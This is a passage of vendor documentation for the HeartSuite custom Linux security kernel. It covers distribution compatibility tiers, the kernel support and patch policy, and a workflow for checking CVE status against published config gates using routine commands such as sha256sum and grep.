Organisations with formal “no custom kernel,” “no modified kernel,” or “vendor-certified kernel only” policies (driven by support contracts, regulatory certification of the base OS, or internal change-control mandates) should not adopt the HeartSuite kernel.

In those cases the supported path is:

  • HeartSuite Joint File System (HJFS) — a filesystem-based enforcement layer that provides per-program, per-version file isolation and automatic backup/rollback on a completely standard kernel. No kernel replacement is required. HJFS is deployable on cloud instances where the kernel is provider-managed and on systems under strict kernel certification rules. See the full HJFS documentation (overview, deployment scenarios, limits, and how it complements execution/network controls).
  • Layered controls on the standard kernel (SELinux or AppArmor in enforcing mode, seccomp filters, eBPF-based detection where needed, network egress filtering, EDR, vulnerability management, and HIDS). Root Lock by HeartSuite’s execution and network gating concepts are not applicable without the HeartSuite kernel.
  • Where both file isolation and execution/network gating are required under a no-custom-kernel constraint, HJFS plus existing or companion execution/network tooling (including HeartSuite Exec Lock in some configurations) is the evaluated combination.

The HJFS how-it-compares and limits pages, together with the bypass and circumvention sections of How Root Lock by HeartSuite Compares, give procurement teams the material needed to map requirements to the appropriate product or combination.

Root Lock by HeartSuite positions the HeartSuite kernel for the subset of workloads where the documented properties (compiled enforcement, physical-presence recovery only, bounded CVE impact via compiled-out features and Lockdown) justify the kernel change.

Next steps for enterprise evaluation

  1. Read the Procurement Brief decision guide and run the published measurements on a test deployment.
  2. Review the Auditor Brief and the full CVE transparency page.
  3. Pilot using a cloud pre-configured instance or a Packer-built golden image on a non-production workload.
  4. Map your compatibility requirements against the decision tree and the “where a separate kernel is required” section of How Root Lock by HeartSuite Compares.
  5. For platforms with Secure Boot or Marketplace requirements, request current runbook and timeline status from support.
  6. For strict no-custom-kernel policies, evaluate HJFS in parallel.
  7. Engage commercial discussions for subscription terms, support SLAs, and any additional verification artefacts.

The kernel is one component of a larger control. The surrounding pages (central policy management, SIEM integration, maintenance, and comparison material) describe how the rest of the operational model fits into an enterprise security program.


This page is intentionally buyer- and auditor-facing. All posture claims reference publicly reproducible artefacts or the open CVE transparency data. Last updated: 2026-06-16.

15.3 - Distribution Compatibility Matrix

Which Linux distributions Root Lock by HeartSuite supports for the HS kernel — validation tiers, boot paths, RPM and Debian family notes, workload fit, and how to report compatibility issues.

Overview: Which Linux distributions HeartSuite has validated for the HS kernel, what each support tier means, and where RHEL-family images need customer-side validation before production Lockdown.

Subject: Root Lock by HeartSuite HS kernel (5.19 and 6.18 lines; v1.6.4 commercial baseline: kernel 6.18.9)
Audience: Procurement, security architects, and platform engineers selecting or certifying a base OS for Root Lock by HeartSuite.

This matrix states which distributions HeartSuite has validated in release testing, which are officially supported without a specific gate run, and where customer-side validation is required before production Lockdown. It complements the workload-level exclusions in System Requirements and the buyer-facing deployment guidance in the Enterprise Adoption Guide.


How to read this matrix

Each row assigns a tier that tells you what HeartSuite has tested and what you own in procurement:

TierMeaning for buyers
ValidatedPassed the cross-distro release gate on the listed version. HeartSuite installs, boots the HS kernel, completes Setup Mode, and reaches Lockdown on this combination in CI.
SupportedListed in official system requirements and expected to work with the standard installer. May not appear in every gate run; validate in your staging environment before fleet rollout.
Compatible (customer validation)Same RPM or Debian family as a validated build, but HeartSuite has not published branded testing for your exact minor or vendor image. You run install and Lockdown on your gold image before production.
Not supportedOutside architecture or distribution scope. Use HJFS on a standard kernel or a supported base OS.

Columns in the main table

  • HS kernels — Root Lock by HeartSuite ships two kernel lines: 5.19 and 6.18. New commercial baselines use the 6.18 line (for example, 6.18.9-HeartSuite-1.0 for v1.6.4). Either line may be selected at install; both enforce the same Root Lock by HeartSuite contract.
  • Boot — How the installer sets the default kernel entry. UEFI Secure Boot for the HS kernel entry remains incomplete; the original distribution kernel (Non-HS) retains its signing status for maintenance and recovery.

A cross-distro release gate runs after every kernel update. The April 2026 v1.6.4 gate validated: Debian 12, Debian 13 (Trixie), Ubuntu 24.04, Fedora 41, Rocky 9.7, CentOS Stream 9, Alpine 3.21, and openSUSE Tumbleweed. See the Roadmap for release history.


Main compatibility table

DistributionVersionsTierHS kernelsBootNotes
Debian13 (Trixie)Validated5.19, 6.18GRUBApril 2026 gate. Primary reference for new deployments.
Debian12 (Bookworm)Validated5.19, 6.18GRUBApril 2026 gate.
Debian11 (Bullseye)Supported5.19, 6.18GRUBIn system requirements; validate on your image before fleet Lockdown.
Ubuntu24.04 LTSValidated5.19, 6.18GRUBApril 2026 gate.
Ubuntu-derivedOther LTS / current releasesSupported5.19, 6.18GRUBDerivatives sharing Debian packaging and GRUB (Mint, Pop!_OS, etc.). Staging validation recommended.
Rocky Linux9.7Validated5.19, 6.18GRUBApril 2026 gate. Lead RPM reference for enterprise RHEL-compatible fleets.
Fedora41Validated5.19, 6.18GRUBApril 2026 gate. Fast-moving upstream; useful for CI and pre-production, not a long-term LTS substitute.
CentOS Stream9Validated5.19, 6.18GRUBApril 2026 gate. Faster churn than Rocky or RHEL — retest after every dnf update that changes the kernel ABI or boot stack.
RHEL8.x, 9.xCompatible (customer validation)5.19, 6.18GRUBRHEL-compatible; branded RHEL minor testing not yet published. Validate on your subscribed minor and gold image. SELinux Enforcing may need a targeted policy module — see RHEL operational note.
AlmaLinux8.x, 9.xCompatible (customer validation)5.19, 6.18GRUBTreat as equivalent to Rocky Linux for compatibility expectations; validate on your minor.
Alpine Linux3.21Validated5.19, 6.18extlinux (GRUB where present)April 2026 gate. OpenRC service units ship alongside systemd variants. Installer falls back to console instructions when extlinux automation cannot set the default entry.
Alpine LinuxOther 3.xSupported5.19, 6.18extlinuxSame OpenRC and extlinux behaviour as 3.21; staging validation recommended.
openSUSETumbleweedValidated5.19, 6.18GRUBApril 2026 gate. Development and CI only — rolling release; not a procurement baseline for regulated production.
SUSE Linux Enterprise (SLES)AnyCompatible (customer validation)5.19, 6.18GRUBEnterprise SUSE images vary by subscription and SP level. Contact support before committing a SLES gold image.
Other LinuxNot supportedContact support@heartsecsuite.com for roadmap or HJFS alternatives.
Non-x86ARM, RISC-V, etc.Not supportedx86_64 only.

Architecture: x86_64 (64-bit) only. No ARM or other ISA builds are offered for the HS kernel.

Secure Boot (all distributions): HS kernel UEFI Secure Boot support is incomplete. Deployments with mandatory Secure Boot for the HS entry may require MOK enrollment during install or booting the HS kernel with Secure Boot disabled while retaining the signed Non-HS kernel for maintenance. Details: Enterprise Adoption Guide → Secure Boot.


Tier definitions

Validated

HeartSuite ran the full cross-distro release gate on the stated distribution version: install bundle, HS kernel boot, Setup Mode, service lifecycle (systemd or OpenRC), and Lockdown smoke checks. These rows are the default answer for RFP compatibility questions tied to v1.6.4 and later kernel bundles.

Supported

Officially in System Requirements and covered by commercial support when install and Lockdown succeed on the customer image. HeartSuite may not re-run every gate on every supported minor; your staging environment is the final gate before production.

Compatible (customer validation)

Same packaging family or ABI lineage as a validated build, but HeartSuite has not published test results for your exact vendor branding, minor release, or gold image. Rocky 9.7 validation implies Rocky 9.x and AlmaLinux 9.x are structurally compatible; RHEL 8/9 require validation on the customer’s subscribed minor until branded RHEL matrices are published.

Not supported

Outside current product scope. Use a supported distribution, the Non-HS kernel on a separate host for incompatible workloads, or HJFS on a standard kernel where custom kernels are prohibited.


RPM / RHEL family

RPM-based support expanded in the v1.6.4 multi-distro release (April 2026). This matrix is the authoritative source for distribution tiers; System Requirements and FAQs link here for current status.

Lead with Rocky 9.7 (Validated). For enterprise fleets standardizing on RHEL-compatible userspace, Rocky Linux 9.7 is the reference RPM image: GRUB defaulting, SELinux stacking, and coordinated bundle install match what HeartSuite tests in CI.

DistributionGuidance
Rocky Linux 9.7Validated — default RPM choice for new deployments.
Fedora 41Validated — suitable for engineering and pre-production; shorter support window than Rocky or RHEL.
CentOS Stream 9Validated with faster churn warning: Stream tracks RHEL development; kernel and userspace updates land more aggressively than Rocky. Re-validate after significant dnf upgrades.
RHEL 8 / RHEL 9Compatible — customer validation on their minor. Binaries are RHEL-compatible, but HeartSuite has not published branded RHEL minor test matrices. Run the install bundle on your subscribed RHEL gold image and complete Setup Mode before fleet Lockdown.
AlmaLinux 8 / 9Compatible — equivalent to Rocky. Expect the same installer behaviour as Rocky on the same major version; validate on your minor.

SELinux on RHEL-family systems: HeartSuite VFS hooks run before the LSM chain. SELinux can only add restrictions after HeartSuite allows an operation; it cannot bypass HeartSuite denials. On RHEL and Fedora, SELinux is Enforcing by default. As with any new kernel module on RHEL, a targeted SELinux policy entry may be needed for HeartSuite-specific operations. If AVC denials appear, use ausearch and audit2allow to build a targeted module — HeartSuite enforcement is unaffected. Full hook-order detail: LSM Comparison → Co-existence (RHEL operational note).


Debian and Ubuntu family

Debian and Ubuntu-derived distributions remain the longest-supported install path and the majority of documentation examples.

DistributionGuidance
Debian 12 / 13Validated (April 2026 gate). Preferred for new Debian-based gold images.
Debian 11Supported — widely deployed; validate on your image if you remain on Bullseye.
Ubuntu 24.04 LTSValidated (April 2026 gate).
Other Ubuntu-derivedSupported — derivatives using .deb packages and GRUB. AppArmor is present on Ubuntu but disabled in the HS kernel build; Snap and LXD confinement that depends on AppArmor userspace LSM is unavailable on the HS kernel. See System Requirements → Software compatibility.

Installer behaviour on Debian/Ubuntu: sets the HS kernel as the GRUB default and reboots automatically when GRUB automation succeeds (v1.6.4+). The original distribution kernel remains in GRUB as Maintenance and vanilla entries for recovery.


Alpine Linux

Alpine is a supported, validated path for minimal and container-adjacent appliances.

TopicDetail
Validated versionAlpine 3.21 (April 2026 gate).
Init systemOpenRC — HeartSuite ships OpenRC service unit variants alongside systemd oneshots.
Boot loaderMany Alpine images use extlinux rather than GRUB. The installer sets the HS kernel as default where automation applies; when extlinux cannot be updated automatically, the installer prints console instructions for the operator to complete the default entry change.
Tier for other 3.xSupported — same packaging model; validate before production.

Alpine’s musl-based userspace is fully within scope when the distribution version is supported or validated. Workload exclusions (eBPF, FUSE, dynamic containers after Lockdown, KVM host mode) apply regardless of distribution — see Workload fit below.


SUSE family

DistributionGuidance
openSUSE TumbleweedValidated (April 2026 gate) for development and CI only. Rolling updates make it unsuitable as a fixed procurement baseline for regulated production.
SUSE Linux Enterprise (SLES)Compatible — contact support. SP level, BCI vs full SLES, and partner images affect boot stack and package layout. Engage support@heartsecsuite.com before standardizing a SLES gold image.

Workload fit (not distro-specific)

Distribution compatibility answers whether Root Lock by HeartSuite installs and boots on your base OS. Whether the workload belongs on the HS kernel is a separate decision — the same across every row in the matrix.

Root Lock by HeartSuite deliberately removes kernel features used as bypass primitives. Workloads that depend on those features require the Non-HS kernel (maintenance mode) or a separate host, regardless of whether the distribution is Validated or Supported.

RequirementOn HS kernel?Reference
Local eBPF tooling (Falco, Cilium Tetragon, bpftrace, bcc, etc.)NoSystem Requirements
FUSE mounts (sshfs, s3fs, AppImage, gocryptfs, …)NoSame
Dynamic Kubernetes (HPA, pod reschedule after Lockdown)NoHow Root Lock by HeartSuite Compares
KVM hypervisor host (running VMs from this kernel)NoSystem Requirements
Rootless / unprivileged user-namespace containersNoSame
HS kernel as guest inside KVM, VMware, or cloud hypervisorsYesSame
Fixed appliance, regulated server, closed workload setYesDeployment Scenarios

Full exclusion table and container-host install notes: System Requirements. Decision tree for mixed environments: Enterprise Adoption Guide → Compatibility.


HJFS alternative

Organizations with a strict no custom or modified kernel policy — certification rules, cloud provider-managed kernels, or vendor OS support contracts that forbid replacing the distribution kernel — should not force the HS kernel onto those images.

HeartSuite Joint File System (HJFS) provides per-program, per-version file isolation and automatic backup on a completely standard kernel. No kernel replacement is required. HJFS is deployable on any distribution where a standard kernel is mandated, including cloud instances where the provider owns the kernel image.

ScenarioPath
File isolation without custom kernelHJFS documentation
Execution and network controls without HS kernelHeartSuite Exec Lock alongside HJFS where applicable
Full three-layer coverage when HS kernel is acceptableRoot Lock by HeartSuite (HS kernel) + HJFS on the same host

HJFS limits, deployment scenarios, and comparison to kernel-level enforcement: HJFS how-it-compares and HJFS limits. Procurement mapping: Enterprise Adoption Guide → Honest limitations.


Reporting issues

If install or HS kernel boot fails on a Supported or Compatible distribution, contact HeartSuite support with enough context to reproduce the failure:

Email: support@heartsecsuite.com

Include:

  1. /var/log/heartsuite/install.log — installer steps and outcome (see Appendices).
  2. Kernel identity: output of uname -r (expected to end in HeartSuite when the HS kernel is active, for example 6.18.9-HeartSuite-1.0).
  3. OS identity: contents of /etc/os-release.
  4. Root Lock by HeartSuite version and whether the failure occurs during install, first HS boot, Setup Mode, or Lockdown.
  5. Boot loader in use (GRUB vs extlinux) and whether UEFI Secure Boot is enabled.

For non-blocking bugs on supported platforms, open a GitHub issue using the Bug Report template on the public repository. Do not use public issues for security vulnerabilities — email support@heartsecsuite.com for responsible disclosure.

Kernel update recovery procedures if a new HS kernel fails to boot: Updating Root Lock by HeartSuite.


15.4 - Kernel Support Policy

HeartSuite kernel support policy for HS kernel streams, LTS strategy, patch targets, update delivery, version-string semantics, 5.19 deprecation, and boundaries versus distribution-vendor maintenance models.

Overview: How HeartSuite maintains, patches, and delivers the HS kernel under subscription — LTS strategy, coordinated update bundles, and how that differs from distribution-vendor errata programs such as RHEL.

Audience: Procurement, risk, compliance, and platform teams evaluating Root Lock by HeartSuite kernel maintenance alongside existing distribution patching programs.

Related reading: Enterprise Adoption Guide, Updating HeartSuite, Kernel Security Transparency, Distro Compatibility Matrix, CVE Hygiene for Scanners.


What this policy covers

This policy describes how HeartSuite supports the HeartSuite kernel — the custom-built Linux kernel that Root Lock by HeartSuite requires for Lockdown enforcement — under a commercial subscription.

It applies to:

  • HS kernel streams currently shipped and supported:
    • 6.18 — primary LTS stream and commercial baseline (HeartSuite v1.6.4 ships kernel 6.18.9).
    • 5.19 — legacy stream for existing deployments; no longer the default for new installations.
  • Coordinated update bundles that deliver the HS kernel together with matching userspace components (Dashboard, daemon, tools, and installer). Kernel changes are not published or supported as standalone kernel-only packages outside these bundles.
  • Integration with subscription terms — patch targets, notification channels, and binding service-level commitments appear in your subscription agreement. This page states public targets and operational boundaries so buyers can align internal change-control and vulnerability-management programs before contract signature.

Note: This policy does not replace the subscription agreement. Where this page and your agreement differ, the agreement controls.


LTS-only strategy

HeartSuite commits to mainline LTS kernel bases only — not arbitrary upstream version chasing and not long-lived forks of non-LTS releases.

Why LTS-only

  • LTS branches receive upstream security and stability maintenance for a defined period, which gives HeartSuite a predictable rebuild base.
  • HeartSuite’s security model depends on a fixed, published kernel configuration (compiled-out subsystems, enforcement hooks, and Lockdown integration). Rebuilding on a known LTS tag preserves that contract while absorbing upstream fixes that apply to the compiled-in code paths.
  • Chasing every upstream minor release would multiply validation cost without improving the enforcement properties buyers adopt Root Lock by HeartSuite for.

Commercial baseline

  • New subscriptions and new fleet images should standardize on the 6.18 stream.
  • HeartSuite v1.6.4 (April 2026) established 6.18.9 as the commercial release baseline for multi-distribution support.

When HeartSuite advances the LTS base (for example, a future move within the 6.18 LTS line or to a subsequent LTS series), customers receive advance notice and migration bundles as described under Customer notification and 5.19 stream deprecation.


How HeartSuite differs from the distribution-vendor model

Enterprise Linux distributions such as RHEL follow a frozen-base, backport-within-base model: the upstream kernel version number visible in uname stays on a vendor branch for years, while individual CVE fixes are cherry-picked onto that branch. Vendor errata, advisory identifiers, and scanner feeds are built around that model.

HeartSuite follows a different model, aligned with how Root Lock by HeartSuite is built and validated:

AspectTypical frozen-base distribution (RHEL-style)HeartSuite kernel
Version identityLong-lived vendor branch (for example, 5.14 on RHEL 9) with backported patchesRebuild on an LTS upstream tag with a HeartSuite-specific configuration
CVE remediationBackport upstream fix patches onto frozen base; errata per advisoryRebuild on updated LTS within the stream; structural neutralization where vulnerable code is compiled out; Lockdown bounds where paths remain reachable
Live patchingkpatch or equivalent may be offered for subset of CVEsNot offered — see What HeartSuite does not provide
Third-party kernel moduleskABI / stable module interface across minor updatesNot a design goal on the HS kernel — enforcement architecture intentionally diverges from general-purpose distro kernels
Delivery unitDistribution package manager and errata channelsCoordinated heartsuite-install.sh bundle with userspace stack

HeartSuite is honest about the trade-off: the HeartSuite kernel is not a drop-in substitute for a distribution kernel in every operational sense. It is the enforcement kernel for Lockdown. The distribution maintenance kernel remains on the system for maintenance and recovery; distribution errata still apply to packages and to the maintenance kernel path.

For deployment implications, coexistence with distribution maintenance, and fleet patterns, see the Enterprise Adoption Guide.


HS kernel version string anatomy

The running kernel version is shown by uname -r. On an HS deployment, the string identifies the HeartSuite build, not a distribution errata package.

Example: 6.18.9-HeartSuite-1.0

ComponentValueMeaning
Upstream LTS base6.18.9The mainline LTS kernel version HeartSuite built from for this release. This is the upstream tag lineage, not a count of every upstream commit merged since a prior HeartSuite build.
Vendor segmentHeartSuiteIdentifies the binary as an HS kernel built and supported by HeartSuite, distinct from the distribution kernel packages on the same host.
HeartSuite build release1.0HeartSuite’s patch/release ordinal for this upstream base — increments when HeartSuite ships a new rebuild or bundle for the same LTS line (security rebuilds, coordinated stack updates).

Legacy 5.19 deployments follow the same pattern (for example, 5.19.6-HeartSuite-<release>).

What the version string does not mean

Procurement and scanner teams trained on distribution errata often misread custom kernel strings. The HS kernel version string does not imply:

  • Full upstream parity — The string does not assert that every fix present in a newer upstream kernel is backported. HeartSuite rebuilds on the LTS base with the published HeartSuite configuration; fixes apply to compiled-in paths or are addressed through structural absence and Lockdown bounds as documented on the Kernel Security Transparency page.
  • Distribution errata equivalence — A match against a distribution CVE feed or rpm -q kernel version is not valid for the HS kernel. The HS kernel is not the distribution enforcement kernel.
  • Scanner “fixed in version” logic — Vulnerability scanners that compare uname -r to NVD “fixed version” thresholds will produce false positives for HS kernels. Use HeartSuite’s per-CVE status and CVE Hygiene for Scanners guidance instead of raw version-string matching.
  • kABI or DKMS compatibility — The string does not promise binary compatibility with out-of-tree kernel modules built for the distribution kernel or for prior HS builds.
  • Live-patch level — There is no parallel “kpatch level” or running-patch suffix; updates require a coordinated bundle and reboot path.
  • Secure Boot readiness — Version format does not indicate UEFI Secure Boot signing status for the HS kernel entry. Secure Boot support for the HS kernel remains incomplete; see the Enterprise Adoption Guide for current status.

For independent verification of what is in the build, HeartSuite publishes the kernel .config SHA-256 and evidence packs for each supported stream.


Update delivery

HS kernel updates are delivered only as part of coordinated HeartSuite release bundles.

Bundle format and integrity

  • Updates ship as a self-extracting heartsuite-install.sh bundle with a published heartsuite-install.sh.sha256 checksum file.

  • Before execution, verify integrity:

    sha256sum -c heartsuite-install.sh.sha256
    

    Expected output: heartsuite-install.sh: OK

  • Each bundle updates the HS kernel (vmlinuz-<version>-HeartSuite-<release>), userspace tools, Dashboard files, and GRUB defaults together so the enforcement stack stays paired and tested.

Applying an update

The running HS kernel cannot replace itself. Updates use the documented two-reboot Non-HS path:

  1. Reboot from the HS kernel to the Non-HS kernel (distribution maintenance kernel).
  2. Run bash heartsuite-install.sh on the Non-HS kernel.
  3. Reboot into the new HS kernel and complete any post-install review the Dashboard indicates.

Root Lock by HeartSuite is not active on the Non-HS kernel. Schedule updates in a planned maintenance window. If Lockdown is engaged, disengage through the Dashboard’s Maintenance ([m]) before updating.

Full step-by-step procedures, failure recovery, and Lockdown considerations are in Updating HeartSuite.

Golden image alternative

Teams that provision from images may reprovision from an updated golden image instead of in-place bundle application. This is equivalent from a support perspective when the image contains a bundle version HeartSuite has published for that stream. Image pipelines should pin bundle version, checksum, and HS kernel string in build metadata for audit traceability.


Patch commitment tiers

HeartSuite classifies kernel-related security work using the reachability model on the Kernel Security Transparency page. The tables below are public targets for coordinated bundle delivery. Binding SLAs — including business-day definitions, escalation, and credit terms — are set in your subscription agreement.

Clock start for timed tiers: HeartSuite confirmation that the issue applies to the supported HS kernel stream (reachable path or required rebuild), based on upstream vendor/public confirmation and HeartSuite analysis.

TierCriteriaTarget delivery
CriticalActively exploited in the wild or remote unauthenticated RCE on a reachable HS kernel path (compiled in, triggerable on a supported deployment profile)15 business days from HeartSuite confirmation
ImportantReachable HS path, no known active exploitation30 business days from HeartSuite confirmation
Moderate / Low (reachable)Reachable but lower practical impact on standard server profiles; Lockdown may bound post-exploitationNext scheduled coordinated bundle
Not AffectedVulnerable subsystem compiled out or path documented as unreachable on HS; Score on HeartSuite 0.0No patch required — status documented on the CVE page; bundle may still ship for other reasons

Notes

  • Many high-severity CVEs are Not Affected on HS kernels because the attack surface was never compiled in. Those entries do not consume patch-tier clocks.
  • For reachable CVEs, Lockdown limits persistence and arbitrary code execution even before a rebuild ships; patching remains part of defense-in-depth and subscription commitments for reachable paths.
  • HeartSuite does not commit to per-CVE errata identifiers in the distribution-vendor style. Bundle manifests list addressed CVEs for the release.

Customer notification

HeartSuite notifies subscription customers through the following channels:

ChannelContent
EmailSent to contacts registered on the subscription (security advisories, bundle availability, stream-deprecation notices). Ensure procurement keeps technical and security distribution lists current with HeartSuite.
Release notesPublished on this documentation site with each coordinated release — summary of kernel stream, version string, and notable CVE or configuration changes.
Bundle manifestShipped with or referenced by the bundle — includes version identifiers, checksum, and the CVE list addressed in that build.
Machine-readable feedsJSON advisory artefacts under /advisories/ — CONFIG-gate SBOM, OSV (279 entries), and CycloneDX SBOM published for hs-v1.6.4-kernel-6.18.9 (gate_status: PASS). Catalogue schema: hs-advisory-catalog/v1. Detail: Supply Chain and Advisory Feeds.

Major stream deprecation: HeartSuite provides at least 30 days’ advance notice before ending support for an HS kernel stream (for example, end of 5.19 support). Notice includes migration bundle availability and recommended maintenance windows.

Machine-readable advisory feeds are published as JSON under /advisories/ on each annotated hs-v* release tag. For the current release (hs-v1.6.4-kernel-6.18.9, gate_status: PASS): CONFIG-gate Not-Affected SBOM at /advisories/hs-cve-config-sbom.json, OSV at /advisories/osv.json (279 entries), and CycloneDX SBOM at /advisories/sbom.cyclonedx.json. OVAL XML for OpenSCAP is not yet published — use the JSON feeds, CVE transparency page, bundle manifests, and email advisories as authoritative sources. Feed URLs and schemas: Supply Chain and Advisory Feeds.


5.19 stream deprecation

The upstream 5.19 branch is end-of-life. HeartSuite no longer recommends 5.19 for new deployments or new golden images.

Support window for existing deployments

  • HeartSuite continues to ship 5.19 migration and security bundles for deployments already on the 5.19 HS stream through end of calendar year 2026, subject to subscription status.
  • After that date, 5.19 HS kernel support ends unless extended terms are agreed in writing. Engage HeartSuite support before the cutoff to plan fleet migration.

Migration path

  1. Schedule maintenance using the Updating HeartSuite two-reboot path (or reprovision from a 6.18 golden image).
  2. Apply the published 5.19 → 6.18 migration bundle for your distribution and HeartSuite version.
  3. Reboot into the 6.18 HS kernel, review Dashboard queues for any new program activity, and re-engage Lockdown if required.
  4. Update vulnerability-management and configuration baselines to reference the new version string and published 6.18 config hash.

Functional differences between streams (configuration, module footprint, CVE tables) are summarized in the Distro Compatibility Matrix and stream-specific evidence materials.


Support boundaries

Subscription scope

  • The HS kernel is included in the Root Lock by HeartSuite subscription. There is no separate kernel-only support contract.
  • Incidents, rebuild requests, deployment guidance, and coordinated updates for kernel behaviour are handled under the same subscription that enables Lockdown.
  • Verification artifacts (config SHA-256, evidence packs, CVE transparency data, bundle checksums) are provided as part of the product documentation and subscription deliverables.

Coexistence with distribution subscriptions

On a host running Root Lock by HeartSuite:

KernelRolePatching
HS kernelEnforcement kernel for Setup Mode and LockdownHeartSuite coordinated bundles only
Non-HS kernelMaintenance, recovery, and distribution-compatible workDistribution errata and package updates apply as usual

Root Lock by HeartSuite replaces the enforcement kernel for protected operation; it does not remove the distribution kernel or cancel distribution maintenance obligations on the Non-HS path. During maintenance on the Non-HS kernel, the host behaves as a standard distribution system without Lockdown enforcement.

Distribution-vendor subscriptions (RHEL, SLES, Ubuntu Pro, and similar extended-support offerings) and third-party agents that require the distribution kernel for full functionality continue to apply to the Non-HS maintenance path and to userspace packages. Agents or tools that require BPF, specific kernel modules, or kernel interfaces absent from the HS kernel must run on the Non-HS kernel or on a separate host. (The HS kernel omits these by design to eliminate bypass primitives and attack surface; see the Enterprise Adoption Guide compatibility section and Reduced Kernel Footprint.)


What HeartSuite does not provide

HeartSuite does not offer the following on the HS kernel path:

CapabilityHeartSuite position
kpatch / live kernel patchingNot supported. Kernel changes require reboot through the coordinated bundle path (or image reprovision).
Arbitrary DKMS or kABI-stable third-party modulesNot supported as a compatibility guarantee. The HS kernel configuration diverges deliberately from distribution kernels; out-of-tree modules built for distro kernels are not expected to load.
Upstream version chasingHeartSuite does not track every mainline release. Only supported LTS streams listed in this policy receive builds.
Distribution-style per-CVE errata packagesCVE remediation is expressed through HeartSuite bundles and transparency documentation, not separate kernel- RPM/DEB errata tied to the HS binary.
JSON advisory feeds (CONFIG SBOM / OSV / CycloneDX)Published at /advisories/ on hs-v* releases — see Supply Chain and Advisory Feeds.
OVAL feeds (OpenSCAP)Planned; not yet published.
Complete Secure Boot for HS kernel entriesIncomplete; orthogonal to Lockdown enforcement but relevant to boot-integrity policies — see Enterprise Adoption Guide.

If a workload requires live patching, vendor-certified unchanged distribution kernels, or broad third-party kernel module support as non-negotiable constraints, evaluate the Non-HS path, HJFS on a standard kernel, or layered controls described in the Enterprise Adoption Guide rather than the HS kernel.



This page is procurement- and operations-facing. Patch targets are goals for planning; binding commitments are in your subscription agreement. Last updated: 2026-06-23.

15.5 - CVE Hygiene for Scanners and Auditors

How enterprise Linux security teams verify Root Lock by HeartSuite kernel CVE status without false positives from upstream version comparison — correct workflow, status categories, scanner configuration, maintenance-kernel exceptions, and audit evidence.

Overview: How to verify kernel CVE status on HeartSuite hosts without false positives from upstream version comparison — the workflow vulnerability scanners and auditors should follow instead of matching uname -r to NVD fix versions.

Audience: Security operations, vulnerability management, GRC, and audit teams on enterprise Linux (RHEL and Rocky, Ubuntu LTS, Debian, SUSE) who verify kernel CVEs with distribution errata rather than upstream version strings — and who are evaluating or operating Root Lock by HeartSuite in production.

Related reading: Start with Kernel Security Transparency (per-CVE status and rationale), the Procurement Brief (posture at a glance), and the Auditor Brief (threat model and reproduction commands).


Why vulnerability scanners get HeartSuite wrong

Most enterprise vulnerability scanners were built for distribution kernels. They match the running kernel version string against NVD or vendor feeds that assume a vanilla upstream Linux kernel — the same tree, configuration, and feature set as kernel.org.

Root Lock by HeartSuite does not ship a vanilla upstream kernel. It ships a custom configuration on an LTS base (for example, mainline 6.18.9 with a HeartSuite release suffix such as 6.18.9-HeartSuite-1.0). The version string tells you the LTS line and HeartSuite bundle revision; it does not tell you which subsystems are compiled in, which CVEs are reachable, or whether a backported upstream fix is relevant.

When a scanner sees 6.18.9-HeartSuite-1.0, it typically:

  1. Normalises the string to 6.18.9 (or fails to recognise the suffix entirely).
  2. Compares that version against NVD “fixed in” ranges for the upstream kernel (for example, “fixed in 6.18.12”).
  3. Flags the host as vulnerable without checking whether the vulnerable code path exists in the HeartSuite build.

That produces false positives — often hundreds of them — for CVEs where HeartSuite’s answer is Not Affected (feature compiled out), Score on HeartSuite 0.0 (environmental neutralisation), or bounded impact under Lockdown (reachable code path with post-exploitation constraints).

This is structurally similar to the backport false positives enterprise Linux teams already manage on RHEL, Rocky, Ubuntu LTS, Debian, and SUSE: a package version string does not prove patch status. HeartSuite adds a second dimension: configuration and enforcement, not just source version. The correct source of truth is the Kernel Security Transparency page, not upstream version ranges alone.

Bottom line: Treat scanner kernel findings on the HS kernel as candidates for review, not as confirmed vulnerabilities, until you verify against HeartSuite’s published CVE status and config gates.


Correct verification workflow

When a scanner, auditor, or ticket queue reports a kernel CVE on a Root Lock by HeartSuite host, follow these steps in order.

Step 1: Identify the installed bundle version

Confirm which kernel is running and which HeartSuite release is installed.

uname -r

On the Root Lock by HeartSuite kernel, output ends in HeartSuite (for example, 6.18.9-HeartSuite-1.0 or 5.19.6-HeartSuite-1.0). If the string does not contain HeartSuite, you are on the maintenance kernel (Non-HS kernel) — see Distro kernel vs HS kernel below; do not apply HeartSuite CVE rules to that boot state.

Record supporting bundle identity for audits:

# Installer bundle checksum (when an update was applied)
sha256sum -c heartsuite-install.sh.sha256

# Kernel config file shipped with the running kernel (for config-gate proof)
ls /boot/config-$(uname -r)

Published SHA-256 manifests accompany distributed bundles (.sha256 files alongside heartsuite-install.sh). Each released HS kernel includes a published SHA-256 of its exact .config file — see the Auditor Brief and evidence-pack-*.txt for the reference hash for your kernel line.

Step 2: Check Kernel Security Transparency for the CVE ID

Open the Kernel Security Transparency page and search for the CVE identifier (for example, CVE-2023-2163).

If the CVE appears in a config gate group (for example, CONFIG_BPF_SYSCALL not set), follow the linked section for the full list of covered CVEs and the technical rationale.

If the CVE does not appear on the transparency page, it may be outside HeartSuite’s assessed scope, newly published, or not yet triaged. Escalate through your HeartSuite support channel and continue to use distribution errata if you are on the maintenance kernel.

Step 3: Read the published status

Interpret the entry using HeartSuite’s status categories (see the status table below). In practice you will see one of:

What you read on the pageWhat it means for the finding
Not AffectedCONFIG_* not setVulnerable subsystem not compiled in; scanner false positive if based on version only
Score on HeartSuite 0.0Environmental or architectural neutralisation (hardware absent, trigger not present, chain broken)
Reachable with non-zero Score on HeartSuiteCode path exists; document bounded impact under Lockdown and any residual confidentiality/availability notes
Fixed in bundle (when noted)HeartSuite release incorporates an upstream or targeted fix; verify your uname -r matches the stated bundle

For disputed findings, capture a screenshot or export of the CVE row and the linked config-gate section — that is the authoritative rationale.

Step 4: Verify bundle integrity and config gates

For audit-grade evidence, confirm that the running system matches the published artefacts:

Bundle integrity (before install or for change records):

sha256sum -c heartsuite-install.sh.sha256

Config gate on the running HS kernel (configuration-level proof):

grep CONFIG_<GATE> /boot/config-$(uname -r)

Replace CONFIG_<GATE> with the gate named on the transparency page. An =n result confirms the option is not compiled in.

Example (AF_ALG / CVE-2026-31431):

$ grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
CONFIG_CRYPTO_USER_API_AEAD=n

Optionally reproduce hardening measurements with the published config SHA-256 and the open-source kernel-hardening-checker — full commands in the Auditor Brief.

Step 5: Attach audit documentation

For RFP responses, SOC 2 workpapers, PCI evidence packs, or internal risk acceptance:

  1. Export or print the relevant Kernel Security Transparency section for each CVE under review.
